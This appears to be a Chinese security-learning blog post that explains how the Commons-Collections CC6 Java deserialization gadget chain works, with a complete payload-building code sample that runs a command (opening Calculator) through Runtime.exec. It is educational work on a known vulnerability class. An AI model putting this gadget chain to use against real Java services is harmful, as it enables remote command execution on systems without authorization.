美文网首页
JF2—CommonsCollections之CC6

JF2—CommonsCollections之CC6

作者: AxisX | 来源:发表于2023-02-22 20:25 被阅读0次

    URLDNS的污点选取的是DNS查询功能,无法执行命令,只能用于漏洞探测。CC6则选取了能够反射执行Runtime相关方法的类——利用Commons-Collections组件中的InvokerTransformer + ChainedTransformer + ConstantTransformer

    Commons-Collections组件

    Commons-Collections是用于增强Java集合(Collections)的,也就是说它对Java常用的Collections—Map、List、Set等进行了相应的开发。例如对于Map,它扩展出了LazyMap、MultiValueMap、TransformedMap等。Map中每一个键值对相关类用xxEntry来表示。

    CC6就用到了LazyMap,Lazy意味着“懒加载”,即在初始化时为空,进行put操作的时候才真正初始化(按需创建)。当LazyMap.get(Object key)方法获取对象时,如果映射中不存在key,将使用工厂创建对象。这个工厂就是Transformer接口类型的。

    Transformer

    Transformer接口,顾名思义是将一个对象转换为另一个对象的转换器,在3.1版本CommonsCollections组件中搜索其实现类包含13个:ChainedTransformer(将各个转换器连在一起)、InvokerTransformer(用反射创建新的对象)、ConstantTransformer(返回常量)、InstantiateTransformer(反射创建新的对象)等。

    反射本身就是Java RCE的一个常用污点。跟进看一下用反射创建对象的InvokerTransformer,代码如下

    # InvokerTransformer
    
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    
    public Object transform(Object input) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);         
        } ...
    }
    

    如果input(类)、iMethodName(方法)、iParamTypes(参数类型)、iArgs(参数)都可控,就可以通过反射完成任意类中方法的调用。后三个都可以通过InvokerTransformer自身构造函数传入。但是要对input赋值,需要找到调用InvokerTransformer.transform()的地方。手动调用的transform()方法代码如下:

    InvokerTransformer invokerTransformer1=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"});
    invokerTransformer1.transform(Runtime.getRuntime());
    

    但是在反序列化构造中需要能自动调用,这也是这条链最巧妙的地方—ChainedTransformer,其transform()方法可以调用所有实现了Transformer接口类的transform()。也就是它注释中提到的将各个转换器连在一起。

    # ChainedTransformer
        public Object transform(Object object) {
            for (int i = 0; i < iTransformers.length; i++) {
                object = iTransformers[i].transform(object);
            }
            return object;
        }
    

    那么poc就变成了这样

    Transformer[] invokerTransformer= new InvokerTransformer[]{
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"})
            };
    ChainedTransformer chainedTransformer=new ChainedTransformer(invokerTransformer);
    chainedTransformer.transform(Runtime.getRuntime());
    

    本来是为了解决InvokerTransformer.transform()无法自动调用,现在就变成了需要解决chainedTransformer.transform()无法自动调用的问题,即寻找CommonsCollections中有没有其他方法可以调用chainedTransformer.transform()

    LazyMap

    前面提到LazyMap是“懒加载”,其get方法获取对象时,如果不存在key,就使用工厂类创建对象,代码如下:

    # LazyMap
    
        protected transient Map map;
        protected final Transformer factory;
    
        public Object get(Object key) {
            // create value for key if key is not currently in the map
            if (map.containsKey(key) == false) {
                Object value = factory.transform(key);
                map.put(key, value);
                return value;
            }
            return map.get(key);
        }
    

    那么如果此时的factory是ChainedTransformer类型的,就会自动调用其transformer方法,从而解决上个问题。如何给factory赋值呢?LazyMap的构造方法可以,但是LazyMap不能直接new,而是通过自身的decorate()方法来创建。

       public static Map decorate(Map map, Transformer factory) {
            return new LazyMap(map, factory);
        }
    
        protected LazyMap(Map map, Factory factory) {
            super(map);
            if (factory == null) {
                throw new IllegalArgumentException("Factory must not be null");
            }
            this.factory = FactoryTransformer.getInstance(factory);
        }
    

    结合URLDNS链条最后走到的是HashMap.hashCode(),现在这条链从污点往上推到了LazyMap.get()。问题是,如果把二者连接起来。二者的共性在于都是属于Map接口实现类,结合Map这种数据结构。思路就变成了从Map接口实现类中找一个其hashCode方法存在get调用的类。

    最后这条链给出的答案是TiedMapEntry,其hashCode方法如下

        public int hashCode() {
            Object value = getValue();  // return map.get(key);
            return (getKey() == null ? 0 : getKey().hashCode()) ^
                   (value == null ? 0 : value.hashCode()); 
        }
    

    那么整条CC6调用链就连了起来

            java.io.ObjectInputStream.readObject()
                java.util.HashMap.readObject()
                    java.util.HashMap.hash()
                      org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                            org.apache.commons.collections.map.LazyMap.get()
                                org.apache.commons.collections.functors.ChainedTransformer.transform()
                                org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()
    

    Payload构造

    但是在构造payload时要注意一个问题,前面对于反射我们给出了如下的形式

    Transformer[] invokerTransformer= new InvokerTransformer[]{
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"})
            };
    ChainedTransformer chainedTransformer=new ChainedTransformer(invokerTransformer);
    chainedTransformer.transform(Runtime.getRuntime());
    

    这种传入Runtime.getRuntime()对象在反序列化时会报错:java.io.NotSerializableException: java.lang.Runtime。想要进行反序列化,要求序列化的对象和它使用的内部属性对象,必须都实现java.io.Serializable接口。但是Runtime类并没有实现这个接口,所以不能当作对象传入,只能用反射来使用。

    Runtime.getRuntime无法反序列化的问题

    接下来就是把Runtime.getRuntime()完全用反射形式进行拆解如下,然后再利用Transformer实现类进一步拆解。

    String cmd="open /System/Applications/Calculator.app";
    Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
    Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,cmd);
    

    然后就有了网上这段payload

            Transformer[] Transformer=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
            };
            Transformer chainedTransformer=new ChainedTransformer(Transformer);
    

    最大的区别在于此处传入的是Runtime.class,它是Class类型的,Class类型实现了java.io.Serializable接口。解决了传入Runtime.getRuntime()无法反序列化的问题。

    根据上面的思路,可以构造出如下payload,但是在测试时会遇到两个问题:(1)真正反序列化的时候没弹计算器(2)还没有反序列化就弹出了计算器

            Transformer[] Transformer=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
                    new ConstantTransformer(1)
            };
            ChainedTransformer chainedTransformer=new ChainedTransformer(Transformer);
    
            HashMap hashMap=new HashMap();
    
            Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
    
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"axisx");
    
            Map hashMap1=new HashMap();
            hashMap1.put(tiedMapEntry,"value2");
    

    (1)真正反序列化的时候没弹计算器
    调试过程中发现在LazyMap.get()这步出了问题。想要执行后面的transform,需要map.containsKey(key)==false,但是在payload中new TiedMapEntry(lazyMap,"axisx");这步存入的axisx,反序列化时这个key是在map中的,此处判断为true,反序列化后续链条无法执行。

        public Object get(Object key) {
            // create value for key if key is not currently in the map
            if (map.containsKey(key) == false) {
                Object value = factory.transform(key);
                map.put(key, value);
                return value;
            }
            return map.get(key);
        }
    

    那么想解决这个问题就需要在上述payload的最后加入lazyMap.remove("axisx");,将这个key移除。

    (2)还没有反序列化就弹出了计算器
    去调试可以发现,问题出现在hashMap1.put(tiedMapEntry,"value2");这行代码,由于在put的时候会自动计算hash,调用了TiedMapEntry.hashCode(),后续反序列化链条被执行了一次。

    # HashMap
    public V put(K key, V value) {
        int hash = hash(key);
    }
    
    final int hash(Object k) {
        int h = hashSeed;
        h ^= k.hashCode();  // TiedMapEntry.hashCode
    }
    

    那么想解决这个问题,需要让后续的Transformer先不要执行。可以先给ChainedTransformer赋一个假值,这样put时不会弹计算器,然后在payload的最后再将这个值通过反射修改成正确的值,使得反序列化时能正常解析。

    那么最终的payload如下

            Transformer[] tmp = new Transformer[] {new ConstantTransformer(1)};
            Transformer[] Transformer=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
                    new ConstantTransformer(1)
            };
            ChainedTransformer chainedTransformer=new ChainedTransformer(tmp);
    
            HashMap hashMap=new HashMap();
    
            Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
    
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"axisx");
    
            Map hashMap1=new HashMap();
            hashMap1.put(tiedMapEntry,"value2");
    
            lazyMap.remove("axisx");
            Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
            f.setAccessible(true);
            f.set(chainedTransformer, Transformer);
    

    这个payload是极简版payload,ysoserial在CC6的入口选取的是java.util.HashSet.readObject(),这里直接用的HashMap.readObject。反序列化链条本身就可以有很多组合。学习思路最为重要。

    相关文章

      网友评论

          本文标题:JF2—CommonsCollections之CC6

          本文链接:https://www.haomeiwen.com/subject/fmlgkdtx.html